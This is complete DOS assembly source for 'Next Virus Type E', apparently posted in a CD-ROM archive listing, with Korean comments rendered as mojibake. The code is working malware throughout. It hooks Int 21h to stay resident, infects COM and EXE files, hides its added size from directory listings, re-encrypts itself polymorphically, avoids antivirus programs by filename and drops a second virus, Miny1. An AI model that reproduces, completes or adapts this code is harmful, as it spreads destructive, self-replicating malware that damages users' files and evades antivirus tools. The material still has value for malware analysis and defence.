home *** CD-ROM | disk | FTP | other *** search
- ;******************************************************************************
- ;
- ; Next Virus Type E (Special Version) (╣A╕b: 1995/04/17,05/05)
- ;
- ; æB»a╦a ña╖í£ß»aôe ╨eèé¼e ┬A┴í╖ü ┤q╤í╤┴ ña╖í£ß»a£aôe ╡w╡üƒi êa╗íëí ╖╢ôe
- ; ña╖í£ß»a╖íöa.
- ; ╖íñσ╡A æB»a╦a ña╖í£ß»aƒi öß╢é êü£╖╨ûöa.
- ;
- ; 1. ┤e╦í ña╖í£ß»a òA╖í╚ß ╠a╖⌐ ╡í╧e ñw╗í ªüªà ╣Aêß
- ; 2. ╡íñߥA╖í EXE ╣A╢A, NE ╚a╖│ ╣A╢A
- ; 3. ùí¥B╔íƒí ñaÄΘÿü êq╡q»í╟íôeê⌡ ╣A╢A.
- ; 4. 16╖ü ñü«ü¥í áeùi╗í ┤gëí EXE ╠a╖⌐ êq╡q»í╟íïí
- ;
- ; ** ╦bÑi ñß╕σ╖a¥í E ƒi êü£╖╨a¼ß ╕aò╖╖a¥í »⌐╨ùûAëA áeùi┤÷öa. ╡ü╕σñß╕σ
- ; ùi╖e ùíñßïa¥í »⌐╨ù╨ü┤í ╨ûöa. **
- ;
- ;
- ; *Next.A (KVA0): ñw£w╕aƒi ña╚w╖a¥í ╨ü¼ß ╣A╕bûA┤÷╖q 94.07.13 - 07.29
- ; *Next.B (KVA1): ñßïa ╣Ñ╕ü
- ; *Next.C (KVA2): ág╖í Ñe╨e íí»s
- ; *Next.D (KVA3): æB»a╦a ¥íëí ┬ë¥b
- ; *Next.E (KVA4): Miny1.123 îiïí
- ;
- ;******************************************************************************
-
- VIR_SIZE EQU (End_Memory-Entry+0Fh) SHR 4
- PARASIZE EQU ((VIR_SIZE+1)*2)
-
-
- VIRUS SEGMENT PARA 'VIRUS'
- ASSUME CS:VIRUS ,DS:VIRUS
-
- Entry: jmp Patch ; <----|
- ; mov si, offset GetIP + 100h ; ┤q╤í ╬ëƒ⌐ ╢ß├íêt ¼Θ╕≈
- call Encry_Routine ; ┤q╤í ╬ëïí
-
- GetIP: mov si,100h ; ña╖í£ß»a »í╕b╕±
- push si ; SIêt ╕ß╕w
- mov ax,0000
- add ax,0F0A4h ; £æ¼w║ü ê±¼a
- int 21h
- or ax,ax ; AX=0000╖ííe £æ ¼w║üûA┤ß ╖╢╖q
- jz VirInstalled ; ╖íúí £æ╡A ña╖í£ß»aêa ╖╢╖i ëw╢ü
-
- mov CS:Miny1[Si],00
- NOP
- mov ah,2Ch ; 5ªà╖ííe Miny1 ÿΘ┤ߢaƒíïí ¡A╦a
- Int 21h
- cmp CL,05
- jnz ChkMCB
- mov CS:Miny1[SI],01 ; Miny1 ÿΘ┤ߢaƒíïí
- NOP
-
- ChkMCB:
- PUSH DS ; DS êa ╠aèAûAúa¥í ╕ß╕w
- MOV BX,ES ; MCB èü╨aïí
- DEC BX
- mov ds,bx
- XOR DI,DI ; DI=0000
- cmp byte ptr ds:[DI],'Z' ; áa╗íáb ºi£Γ╖Ñêa?
- jnz No_res ; ┤aôííe...
- Inc DI ; DI=0001
- mov bx, PARASIZE
- sub DS:[DI+02],bx ; ºi£Γ ¼a╖í╗a
- sub DS:[DI+11h],bx ; öa╖q íAííƒí ºi£Γ╖ü ¡Aïaáσ╦a ñσ╗í
- Inc DI
- mov es,DS:[DI+10h]
-
- xor ax,ax ; Int 21h êa¥í└üïí
- mov ds,ax
- GetInt21:
- mov DI,0083h
- Inc DI ; Int 21h ║ü¡íêt
- Push DI
- lds bx,ds:[DI]
- mov word ptr CS:OldInt21[SI],bx
- mov word ptr CS:OldInt21[SI+2],ds
-
- MoveVirus:
- push cs ; ña╖í£ß»aƒi ┬A¼w╢ߥí Ñó¼a╨eöa.
- pop ds
- xor di,di
- mov cx,offset End_Memory
- cld
- repz movsb
-
- mov ds,cx ; Int 21h ƒi └a╗í╨eöa.
- Pop DI
- cli
- mov DS:[DI+2],es
- mov DS:[DI],offset VirInt21
- sti
-
- No_RES: pop ds ; ╢Ñ£ü DS êt
- VirInstalled: pop si ; IP êt Ñóèü
-
- push ds ; ds=es
- pop es
-
- Push SI
- ADD SI, offset EXE_IP
- call ENCRY_DATA ; ┤q╤í╤┴ ûA┤ß ╖╢ôe ╢Ñ£ü òA╖í╚ß╬ëïí
- Pop SI
- NOP
- cmp CS:File_Type[SI],01 ; EXE ╠a╖⌐╖Ñêa?
- jz RE_EXE
-
- ; COM ╠a╖⌐ »⌐╨ù╨aïí
- cmp si,100h ; └⌡ »⌐╨ù╖ííe Å{Éæ
- jnz Restore_COM
- INT 20h
- Restore_COM:
- add SI, offset EXE_IP
- mov di,100h ; └ß╖q╖ü 4 ña╖í╦a Ñóèü
- NOP
- push di
- movsw
- movsw
- ret
- ; EXE ╠a╖⌐ »⌐╨ù╨aïí
- RE_EXE:
- mov ax,es ; £æ╡A ña╖í£ß»aêa ╖╢╖aíe ╢Ñ£ü
- ; EXE »⌐╨ù
- add ax,0010h
- add CS:EXE_Cs[SI],ax
- xor AX,AX
- XOR BX,BX
- jmp dword ptr CS:EXE_Ip[SI] ; ╢Ñ£ü EXE ╠a╖⌐¥í
- ; ╕±╧a(╢Ñ£üöü¥í »⌐╨ùûQ)
-
- ; ╢Ñ£ü COM,EXE òA╖í╚ß êt
- NOP
- Exe_Ip DW ? ; IP êt
- Exe_Cs DW ? ; CS êt
- NOP
- NOP
-
- All_File DB '*.*',00 ; ííùe ╠a╖⌐╖i └x╖iÿü ¼a╢w
- Msg DB 0Dh,0Ah ; æB»a╦a ¥íëí
- DB ' ▒▒▒ ▒ ▒▒▒▒▒ ▒ ▒ ▒ ▒▒▒▒▒ ',0Dh,0Ah
- DB ' ▒ ▒ ▒ ▒▒▒▒▒ ▒ ▒ ▒ ',0Dh,0Ah
- DB ' ▒ ▒ ▒ ▒▒▒▒▒ ▒ ▒ ',0Dh,0Ah
- DB ' ▒ ▒ ▒ ▒▒▒▒▒ ▒ ',0Dh,0Ah
- DB ' ▒ ▒▒▒ ▒▒▒▒▒ ▒ ▒ ▒ (Type_E/Last Ver.) VIRUS...'
- DB 0Dh,0Ah,0Dh,0Ah
- DB ' (c) KOV (Knight Of Virus)/ Corea 9192/04/02',0Dh,0Ah
- DB 0Dh,0Ah,'$'
- NIF DB 'HWF-TBCLCOWCTKDEIBT2' ; ╣A╢A ╠a╖⌐
-
- ; HW : HWP .EXE
- ; F- : F-PROT .EXE
- ; TB : TBAV .EXE
- ; CL : CLEAN .EXE
- ; CO : COMMAND .COM
- ; WC : WCD .EXE
- ; TK : TKO .EXE
- ; DE : DEFRAG .EXE
- ; IB : IBMBIO .COM IBMDOS.COM
- ; T2 : T2 .EXE
-
- File_Type DB ? ; 00 ╖ííe COM, 01 ╖ííe EXE
- Miny1 DB ? ; Miny1 ÿΘ┤ߢaƒíïí
-
- Side_Effect: ; íA»í╗í ┬ë¥b
- Push DS
- Push CS
- Pop DS
- mov dx, offset Msg
- mov ah,9
- Int 21h
- Pop DS
- IRET
-
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- ; FCB »a╔I»a
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- FCB_Stealth: ; ╖e═üïíñ≤(Stealth Technique)
- call dword ptr CS:OldInt21 ; DIR ïíôw ╤í┬ë
- pushf
- cmp al,0FFh ; ╡íƒA╖Ñêa?
- jz Exit_FCBstl
-
- push AX ; ╕ß╕w
- push SI
- push DS
- mov si, word ptr CS:DosDTA ; DIR »í 1ah ïíôw╖í ¼a╢wûAôeòA
- mov ds, word ptr CS:DosDTA+2 ; ╖íúí êa¥í└à╥üöa.
-
- cmp byte ptr [SI],0FFh ; ╤┬╕w FCB ╖Ñêa?
- jnz No_NFCB
- add SI,+07 ; ╤┬╕w╢w FCB ƒi FCB ╡┴ ╔╖╖⌐
- No_NFCB: mov al,byte ptr [SI+17h] ; ┴íƒi ┤Φôeöa.
- and al,1Dh ;
- cmp al,1Dh ; êq╡q ╡aªü ╠eÑi╖i ┴í¥í ëü¼e
- jnz No_IMark ;
- sub word ptr [SI+1Dh],offset End_Virus
- sbb word ptr [SI+1Fh],+00
- No_IMark: pop ds
- pop si
- pop ax
- Exit_FCBstl: popf
- RETF 0002 ; ╢Ñ£üöü¥í ò⌐┤aêaïí
-
- ;<><><><><><><><><><><><><><><><><><><><><><><>
- ; Int 21h ╖Ñ╚ߣ≤╦a
- ;<><><><><><><><><><><><><><><><><><><><><><><>
-
- VirInt21:
- NOP
- cmp ax,0F044h ; ╗w¼w ╤í┬ë ₧ü╦Ñ╖Ñêa?
- jnz Chk_4Install
- jmp Side_Effect
-
- Chk_4Install:
- PushF
- cmp ax,0F0A4h ; £æ ¼w║ü ╡aªü ê±¼a╖Ñêa?
- jnz Chk_AH
-
- XOR AX,AX ; áx╖aíe 0000╖i ò⌐¥a║æ
- POPF
- IRET
-
- Chk_AH: cmp ah,11h ; DIR »í ╖e═ü ïíñ≤ ¼a╢w
- jz FCB_Stealth
- cmp ah,12h
- jz FCB_Stealth
-
- cmp ah,13h ; ╠a╖⌐ ╗í╢üïí
- jz OR_InfectType
- cmp ah,17h ; ╖íƒq ñaÄüïí
- jz OR_InfectType
- cmp ah,39h ; ùí¥B╔íƒí ¼ù¼≈
- jz OR_InfectType
- cmp ah,36h ; ºÑ╢w£╖ ┤Φïí (DIR)
- jz OR_InfectType
- cmp ah,3Ah ; ùí¥B╔íƒí ╣Aêß
- jz OR_InfectType
- NOP
- ChkAH_2:
- cmp ah,3Bh ; DIR (COM,EXE╠a╖⌐)
- jz Push_
- cmp ah,3Dh ; ╡í╧e
- jz Push_
- cmp ah,41h ; ╠a╖⌐ ╗í╢üïí
- jz Push_
- cmp ah,43h ; ¡ó¼≈ ┤Φïí/ñaÄüïí
- jz Push_
- NOP
- cmp ah,4Bh ; »⌐╨ù
- NOP
- jz Push_
- cmp ah,56h ; ╖íƒq ñaÄüïí
- jz Push_
- cmp ah,6Ch ; ╡í╧e (DOS 4.0+)
- jz Push_
-
- ChkAH1a: cmp ah,1ah ; DIR »í ╕bò╖ ûAôe êt
- jnz Go_Int21
- mov word ptr CS:DosDTA,dx
- mov word ptr CS:DosDTA+2,ds
- nop
-
- Go_Int21: ; ╢Ñ£ü int 21¥í ╕±╧a
- popf
- db 0eah
- OldInt21 dd ?
- nop
- nop
-
- callInt21: ; ╢Ñ£ü Int 21h Éü╢w ╤í┬ë
- XCHG AH,AL
- pushf
- call dword ptr cs:OldInt21
- RET
-
- OR_InfectType:
- Or byte ptr cs:[InfectType],000000001b ; └x┤a¼ß êq╡q
- Push_: NOP
- Push ax
- Push bx
- Push cx
- Push dx
- Push ds
- Push es
- Push si
- Push di
-
- cmp ah,6Ch ; ¼ü¥í╢à ╡í╧e ñw»ó╖Ñêa?
- jnz Chk_type
- mov DX,SI ; SI=╠a╖⌐ ╖íƒq╢ß├í
- Chk_Type:
- test CS:InfectType,00000001B ;
- jnz FindFile ; 00╖ííe ïaÉ╖ êq╡q
- NOP
- call EndOfFN ; SI=êa╕w áa╗íáb ╢ß├íêt
- CMP AH,4Bh ; »⌐╨ù╖Ñêa?
- NOP
- jnz c_ChkEXT
- call ChkV ; ╠a╖⌐ ╖íƒq ê±¼a╨q
- jmp Pop_
- C_ChkEXT:
- call ChkEXT ; ╤┬╕w╕a ê±¼a
- jmp Pop_
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- FindFile: ; ╠a╖⌐ └x┤a¼ß êq╡q»í╟íïí
- Push CS ; CS=DS
- Pop DS
- mov byte ptr DS:[RETURN],00 ; êq╡qûAíe FFêa ûQ.
-
- mov AL,2Fh ; DTA êt ┤Φïí
- call callInt21
- Push ES
- Push BX
-
- mov AL,1Ah ; ña╖í£ß»aêa ¼a╢w╨i DTA ¼Θ╕≈
- mov dx,offset NewDTA ; ¼ü¥í╢à DTA êt
- call callInt21
-
- mov AL, 4Eh ; ╠a╖⌐ └xïí
- mov cx, 00100111b ; ¡ó¼≈
- mov dx, offset all_file ; ííùe ╠a╖⌐
- Find_F: call callInt21
- jc Exit_FF
- Find_More:
- mov AL,byte ptr NewDTA[16h] ; êq╡q ╡aªü ê±¼a
- and AL,1Dh ; ┴íê±¼a
- cmp AL,1Dh
- jz Find_Next ; öa╖q ╠a╖⌐ └xïí
-
- cmp word ptr NewDTA[28],0000 ; ╠a╖⌐ ╟aïíêa 15000 Ñíöa ╕b╖aíe
- jnz Set_FileName
- cmp word ptr NewDTA[26],7676 ;
- jb Find_Next
-
- Set_FileName:
- mov dx,offset NewDTA[1Eh] ; ╠a╖⌐ ╖íƒq
- call EndofFN ; ╠a╖⌐ Å{ ╢ß├í êt ┤Φïí
- call ChkEXT ; SI= ╠a╖⌐ ╣A╖⌐ Å{╢ß├íêt
-
- cmp byte ptr CS:[RETURN],0FFh ; 3 ╖ííe êq╡qûA┤÷╖q.
- jz Exit_FF ;
-
- Find_Next:
- mov aL,4Fh ; öa╖q ╠a╖⌐ └xïí
- jmp Find_F
-
- Exit_FF: Pop DX ; ╢Ñ£ü DTA Ñóèü
- Pop DS
- pushf
- mov ah,1ah ; ╢Ñ£ü DTA Ñóèü
- Int 21h
- popf
-
- Pop_: mov byte ptr CS:InfectType,00
- Pop di
- Pop si
- Pop es
- Pop ds
- Pop dx
- Pop cx
- Pop bx
- Pop ax
- jmp Go_Int21
-
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- ; ╤┬╕w╕a ê±¼a , »⌐╨ù ╣A╢A ╠a╖⌐ ê±¼a ªüªà
- ;
- ; ƒí╚σ: SI = ╠a╖⌐ ╣A╖⌐ Å{╖ü ╢ß├í
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- EndofFN: ; ╠a╖⌐ ╖íƒq Å{╢ß├íƒi SI╡A ò⌐¥a║àöa.
- CLD
- mov SI,DX
- EOF_LOOP:
- lodsb ; DS:[SI] -> AL
- or al,al
- jnz EOF_LOOP
- RET
-
- ChkEXT: ; ╤┬╕w╕aêa COM,EXE ╖Ñêa ?
- cmp word ptr ds:[SI-5],'C.' ; COM ╠a╖⌐ ╖Ñêa?
- jnz ChkEXT_EXE
- cmp word ptr ds:[SI-3],'MO'
- jz ChkV
- ChkEXT_EXE:
- cmp word ptr ds:[SI-5],'E.' ; EXE ╠a╖⌐ ╖Ñêa?
- jnz Exit_ChkFN
- cmp word ptr ds:[SI-3],'EX'
- jnz Exit_ChkFN
- nop
-
- ChkV: ; ╠a╖⌐ ╖íƒq║ù╡A V ╕aêa ╖╢ôeêa?
- std ; SI,DI ƒi êq¡í»í╟Ñöa.
- mov cx,0015
- ChkVLoop:
- lodsb ; DS:SI->AL
- cmp al,'\' ; ùí¥B╔íƒíƒi èüªà╨aôeêa?
- jz GetSname ;
- cmp al,':'
- jz GetSname
- cmp al,'V' ; V ╕a╖Ñêa? V3,V3RES ùw
- jz Exit_ChkFN
- cmp al,'S'
- jz Exit_ChkFN
- loop ChkVLoop
- mov si,DX ; 11ñσ ñeÑó╨û╖iÿüòí ┤⌠╖aíe
- jmp ChkSkipFile ; ╢Ñ£ü DXêt
-
- GetSname: inc SI ; »⌐╣A╕Γ êt ┤Φïí
- inc SI
- ChkSkipFile:
- Push CS
- Pop ES
- cld
- mov di,offset NIF ; êq╡q╣A╢A ╠a╖⌐╖ü ╢ß├í
- lodsw ; DS:[SI] -> AX
- mov cx,0010
- repnz scasw ; ╠a╖⌐ └⌡╕aêa êq╡q╣A╢A ╠a╖⌐╖Ñêa?
- jnz Chk_Infected
- Exit_ChkFN:
- RET
-
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- ; êq╡q ╡aªü ê±¼a ₧ü╦Ñ
- ; ƒí╚σ: êq╡q ¼≈ë╖ : FFh
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
-
- Chk_Infected:
- cmp byte ptr CS:[Miny1],01 ; Miny1.123 ÿΘ┤ߢaƒíïí
- jnz Save_FileName
- jmp DROP_Miny1
-
- Save_FileName:
- mov word ptr cs:[FileName+2],ds
- Push CS
- Pop DS
- mov word ptr DS:[FileName],dx
-
- SetInt24:
- mov ax,3524h ; 24ñσ ╖Ñ╚ߣ≤╦a èü╨aïí
- int 21h
-
- mov word ptr ds:OldInt24,bx
- mov word ptr ds:OldInt24[2],es
-
- mov ah,25h ; êa¥í└üïí
- mov dx,offset VirInt24
- int 21h
-
- nop
- lds dx,ds:[FileName] ; ¡ó¼≈ ┤Φïí
- mov ax,0043h
- call callInt21
-
- mov word ptr cs:[FileAttr],cx ; ╕ß╕w
- xor cx,cx
- mov ax,0143h ; ╖¬ïí/│aïí¥í ñaÄæ
- call callInt21
- jnc File_Open ;
- inc byte ptr cs:[RETURN] ; ╡A£ß╖▒.
- jmp Attr_error
-
- File_Open:
- mov ax,023Dh ; ╠a╖⌐ ╡í╧e ╨aïí
- call callInt21
- jc Open_error
-
- push cs
- pop ds
-
- Push CS
- Pop ES
-
- xchg bx,ax ; ╨àùi ┤Φïí
- mov ax,0057h ; ╢Ñ£ü ╠a╖⌐╖ü Éi╝a/»íêe╖i ┤i┤aÉæ
- call callInt21
- push DX ; Éi╝a ╕ß╕w
- mov word ptr ds:[FileTime],cx ; ╢Ñ£ü »íêe ╕ß╕w (êq╡q»í ñaı)
-
- File_Read:
- mov ah,3fh ; ╖¬┤ß ùi╖íïí
- mov dx,offset Buffer4F
- mov si,dx
- mov cx,0066h
- int 21h
- jc Restore_DT
-
- ChkEXEFile:
- mov ax, word ptr [SI]
- cmp ax,'MZ'
- jz J_EXE_Routine
- NOP
- XCHG ah,al
- cmp ax,'MZ'
- jz J_EXE_Routine
- jmp COM_Routine ; COM ╠a╖⌐ êq╡q »í╟íïí
- nop
- J_EXE_Routine:
- mov AL,byte ptr DS:Buffer4F[14h]
- xor al,0A4h
- cmp byte ptr DS:Buffer4F[12h],AL
- jz Infected_Time
- jmp EXE_Routine ; ╠a╖⌐ êq╡q
-
- Infected_Time:
- mov cx,DS:FileTime
- and cl,11100000b
- or cX,+1Dh
- mov FileTime,CX
- Restore_DT: pop dx
- mov cx,word ptr ds:[FileTime] ; êq╡q»⌐╠üíe ╕≈¼w╕Γ╖Ñ »íêeùi┤ß╡▒
- mov ax,0157h
- call callInt21
-
- Close_error: ; ╠a╖⌐ öhïí
- mov AL,3Eh
- call callInt21
-
- Open_error:
- mov ax,0143h
- mov cx,word ptr ds:[FileAttr]
- lds dx,ds:[FileName]
- call callInt21
-
- Attr_error:
- lds dx,CS:[OldInt24] ; Int 24h Ñóèü
- mov ax,2524h
- int 21h
- push cs
- pop ds
- RET
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- ; COM ╠a╖⌐ êq╡q »í╟íïí
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- COM_Routine:
- mov al,byte ptr ds:[SI+3] ; êq╡q ╡aªü ╤┬╖Ñ
- xor al,0A4h
- cmp Al,ds:[SI+2]
- jz Infected_Time ; áx╖aíe 61┴í¥í ñaÄæ
-
- mov al,02h ; ╠a╖⌐╖ü ╣A╖⌐ ûߥí
- call SetPnt
-
- cmp ax,6767 ; ï⌐╖í ºíèa
- jb Restore_DT
- cmp ax,63000 ;
- ja Restore_DT
-
- Push AX
- add ax,100h
- mov word ptr DS:[GetIP+1], AX ; ña╖í£ß»a »í╕b╕±
- Pop AX
-
- mov si, offset Buffer4F ; ┤|ªüªà 4ña╖í╦a Ñó¼a
- mov di, offset EXE_IP
- movsw
- movsw
-
- mov byte ptr Buffer4F,0E9H ; JMP íw¥w╡A ╨üöw
- mov word ptr Buffer4F+1,ax ;
- sub word ptr Buffer4F+1,0003
- add ax, offset GetIP + 100h
- mov word ptr DS:[Entry+1],AX ; ┤q╤í╬ë IP
- mov al,byte ptr Buffer4F+2 ; êq╡q ╡aªü
- xor al,0A4h
- mov byte ptr Buffer4F+3,al
- mov byte ptr File_Type,00
-
- Write_VIRUS:
- call SET_ENCRY_DATA ; òA╖í╚ß ┤q╤í╤┴
- call SET_ENCRY_VIR ; ╠a╖⌐ ┤q╤í╤┴ ╨aïí
-
- mov al,00h ; └ß╖q ╖a¥í ╖íò╖╨aïí
- call SetPnt
-
- mov AH,40h ; ┤|ªüªà │aïí
- mov dx, offset Buffer4F ;
- mov CX,001Ah
- Int 21h
- mov byte ptr cs:[RETURN],0FFh ; êq╡qûA┤÷öa.
- JMP Infected_time
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- ; EXE ╠a╖⌐ êq╡q »í╟íïí
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- EXE_Routine:
- mov byte ptr File_Type,1 ; EXE ╠a╖⌐╖íöa.
- mov si, OFFSET Buffer4F ; SI=╠a╖⌐ ñß╠ß╢ß├í
- NOP
- mov word ptr DS:[NEType],00 ; NE ╚a╖│╖ü EXE ╠a╖⌐╖Ñ╗í ê±¼a
- mov dx, DS:[SI+3Ch] ; OS/2 & Windows
- mov cx, DS:[SI+3Ch+2]
- mov ax,4200h ; ╖íò╖
- Int 21h
- mov cx,0002
- mov dx, offset NEType
- mov ah,3Fh
- Int 21h
- cmp word ptr DS:[NEType],'EN' ; 'NE'
- jnz Chk_OVREXE
- Go_RDT: Jmp Restore_DT ; NE ╠a╖⌐╖íöa.
- Chk_OVREXE:
- mov al,02 ; ╠a╖⌐ Å{╖a¥í ╖íò╖
- call SetPnt
-
- Chk_EXESize: ; EXE ╤Aöß ñaÄüïí
- cmp dx,+06 ; ╗íÉa├íëA ╟e EXE ╠a╖⌐╖e êq╡q╡A¼ß
- ja Go_RDT ; ╣A╢A.
- or dx,dx
- jnz Chk_OverEXE
- cmp ax,7676 ; 7676 ña╖í╦a ╖í¼w╖ü ╠a╖⌐
- ja Chk_OverEXE
- J_SD: Jmp Go_RDT
-
- Chk_OverEXE:
- PUSH DX ; ï⌐╖í ╕ß╕w
- PUSH AX
- MOV AX,[SI+04] ; 04: ═A╖í╗í öe╢ß╖ü ï⌐╖í
- MOV DI,[SI+02] ; 02: Éaáß╗í
- OR DI,DI ; Éaáß╗íêa ╖╢ôeêa?
- JZ No_DEC
- DEC AX ; -1
- No_DEC: MOV CX,0200h ; * 512
- MUL CX ; AX * 512 = DX:AX
- ADD AX,DI ; Éq┤a╖╢ôeêt öß╨aïí.
- ADC DX,+00 ; ╕aƒí«ü ╡⌐ƒíïí
- POP DI ; AX êt
- CMP DI,AX ; ºíèa
- POP DI ; DX êt
- JNZ J_SD
- CMP DI,DX
- JNZ J_SD ; »⌐╣Aï⌐╖í╡┴ öaƒaíe êq╡q╣A╢A
- NOP
- PUSH AX ; ╕ß╕w
- PUSH DX
-
- Push SI ; File buffer
- mov si, offset Buffer4F+14h ; IP
- mov di, offset EXE_IP ;
- movsw
- movsw
- POP SI ;
-
- MOV CX,0010h ; / 16
- DIV CX
- SUB AX,[SI+08] ; ╤Aößï⌐╖í(╠a£aïa£ü╧a öe╢ß)
- MOV [SI+16h],AX ; CS êt
- mov [SI+14h],DX ; IP êt
- MOV word ptr [GetIP+1],DX ; »í╕b╕±
- add DX, offset GetIP
- mov word ptr Entry+1,dx
- POP DX ; ╢Ñ£ü ï⌐╖í
- POP AX
- ADD AX, offset End_Virus ; + ña╖í£ß»a ï⌐╖í
- ADC DX,+00
- MOV CX,0200h ; /512
- DIV CX
- OR DX,DX ; Éaáß╗í?
- JZ Y_Inc
- INC AX
- Y_Inc: MOV [SI+04],AX ; ï⌐╖í
- MOV [SI+02],DX ; Éaáß╗í
- mov AL,byte ptr DS:[SI+14h]
- xor al,0A4h
- MOV BYTE PTR [SI+12h],AL ; 12:┴A╟a¼±, êq╡q╡aªü
- JMP Write_VIRUS
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- ;
- ; ┤q╤í╤┴ »í╟⌐ ╟íêt ┤Φïí
- ;
- SET_ENCRY_DATA:
- mov si, offset EXE_IP
- xor ax,ax
- mov es,ax
- mov ax,word ptr es:[046ch] ; »íêe êt
- mov word ptr DS:[ODE_AX_KEY+1],ax
- xor al,0A4h
- mov byte ptr DS:[ODE_XOR_AL+1],al
- xor byte ptr DS:[ODE_loop],08 ; inc ax, dec ax
- push cs
- pop es
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- ; ╢Ñ£ü òA╖í╚ßêt ┤q╤í╤┴
- ; ╖íªüªà╖e ÿa¥í ªë¥a╗⌐«ü ╖╢╖q
- ;
-
- ENCRY_DATA:
-
- mov cx,0005 ; 5 ╥A ñeÑó
- ODE_AX_KEY:
- mov ax,0000 ; ┤q╤íêt
- ODE_LOOP:
- inc ax ; INC AX/DEC AX
- nop
- ODE_XOR_AL:
- xor al,00h
- nop
- xor word ptr CS:[SI],AX
- inc si
- dec cx
- jnz Ode_LOOP
- RET
-
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
- ; ┤q╤í╤┴ »í╟íôe ₧ü╦Ñ
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
-
- SET_ENCRY_VIR:
- xor ax,ax
- mov es,ax
- mov ax,word ptr ES:[046Ch] ; ╟íêt
- push cs
- pop es
- mov word ptr SEV_AX+1,ax
- add ax,0003
- mov byte ptr SEV_AL+1,AL
- mov byte ptr SEV_AH+1,AH
- xor ah,09h
- cmp ah,0a0h
- ja Chg_IncDec
- xor byte ptr SEV_AL,04 ; MOV AL/AH
- xor byte ptr SEV_AH,04 ;
- Chg_IncDec:
- xor byte ptr ds:SEV_Inc_AX,08h ; Inc AX/DEC AX
- cmp al,0A0h
- jb Mov_VIR_Buffer
- xor word ptr ds:SEV_XCHGAX,5416h ; NOP NOP
-
- Mov_VIR_buffer:
- push bx ; ╠a╖⌐ ╨àùiêt
- xor si,si ; ña╖í£ß»aƒi ┤q╤í ñß╠ߥí Ñó¼a
- mov di,offset Encry_Buffer
- mov cx,offset End_VIRUS
- repz movsb
-
- mov di, offset Encry_Buffer ; DI= IP ┤Φôe ╢ß├íªü╚ß ┤q╤í
- add di, offset GetIP
- call ENCRY_Start ; ┤q╤í╤┴ »í╕b
-
- pop bx ; ╨àùi Ñóèü
- mov AH,40h ; ña╖í£ß»a │aïí
- mov cx, offset End_VIRUS
- mov dx, offset Encry_Buffer
- Int 21h
- RET
- ;<><><><><><><><><><><><><><><><><><><><><><><><><>
-
- SetPnt: mov ah,42h
- xor cx,cx
- xor dx,dx
- int 21h
- RET
-
- VirInt24:
- XOR AL,AL
- IRET
- NOP
-
- Drop_Miny1:
- call Melt_Miny1
- mov ah,3Ch ; ╠a╖⌐ ¼ù¼≈(ïí╣Ñ ╠a╖⌐╠aèA)
- Int 21h
- xchg ax,bx ;
- Push CS
- Pop DS
- mov ah,40h ; Miny1 ña╖í£ß»a îiïí
- mov cx, 123
- mov dx, offset Miny1_Code
- Int 21h
- mov ah,3Eh ; ╠a╖⌐ öhïí
- Int 21h
- mov RETURN,0FFh
- call Melt_Miny1
- RET
-
- Miny1_CODE DB 128 DUP (?) ; Miny1 Éü╢w
-
- Melt_Miny1:
- mov si, offset Miny1_CODE ; Miny1 ╖i ┤q╤í╤┴ ╨eöa.
- mov AL,0F0h
- mov cx,120
- Miny_LOOP:
- xor CS:[SI],AL
- inc SI
- loop Miny_LOOP
- RET
- NOP
- Encry_Point_END:
- NOP
-
-
- ;<><><><><><><><><><><><><><><><><><><><><><>
- ; »⌐╣A ┤q╤í╤┴ƒi »í╟íôe ªüªà
- ;
- ;
- ENCRY_routine: ; ña╖í£ß»a ┤q╤í╤┴ »í╟íôe ªüªà
- mov di,si
- NOP
- cld
- nop
-
- ENCRY_START: ; <-- ña╖í£ß»a╡A¼ß ╤í┬ëÿüôe ╖íªüªà╖i ¼a╢w.
- mov cx,offset Encry_Point_END - GetIP ; ┤q╤í ï⌐╖í
- XOR BX,BX
- nop
- SEV_AL: mov al,00h ; xor 04
- nop
- SEV_AH: mov ah,00h ; xor 04
- ENCRY_LOOP:
- db 0Ebh,00h ; JMP 0000
- CLD
- SEV_XCHGAX:
- Xchg al,ah ; xor 5416 --> NOP NOP
- SEV_AX: xor ax,0000h ;
- nop
- SEV_INC_AX:
- Inc ax ; xor 08
- nop
- xor word ptr cs:[DI+BX],ax
- nop
- Inc bx
- db 0Ebh,00h
- dec cx ; ╥U«üáe╟q ñeÑó?
- jnz Encry_LOOP
- nop
- nop
- ENCRY_END:
- RET
- nop
- ENCRY_END1:
-
- End_VIRUS:
-
-
- ;<><><><><><><><><><><><><><><><><><><><>
- ; òA╖í╚ß ╡w╡b
- ; DATA AREA
-
- NewDTA DB 64 dup (?) ; ¼ü¥í╢à DTA ñß╠ß
- OldInt24 DD ? ; ╢Ñ£ü Int 24 êt
- DosDTA DD ? ; DIR »í ╖│¥bûAôe DTA ║ü¡í
- Buffer4F DB 66h dup (?) ; ╠a╖⌐╖ü Éü╢w
- FileAttr DW ? ; ╠a╖⌐╖ü ¡ó¼≈
- FileName DD ? ; ╠a╖⌐╖ü DX:DS êt
- FileTime DW ?
- Return DB ? ; ƒí╚σ êt 3╖ííe êq╡q
- InfectType DB ? ; êq╡q ╤w»ó
- NETYPE DW ?
- nop
- Encry_Buffer:
- End_Memory:
-
-
- ; ┤|ªüªà╖i ╕≈¼w╕Γ╖Ñ ña╖í£ß»a¥í áeùeöa. (┬A┴í╖ü »⌐╨ù╠a╖⌐)
- Patch:
- mov byte ptr DS:[100h],0BEh ; MOV SI,106h
- mov word ptr DS:[101h],106h
- jmp GetIP
-
- VIRUS ENDS
- END Entry
-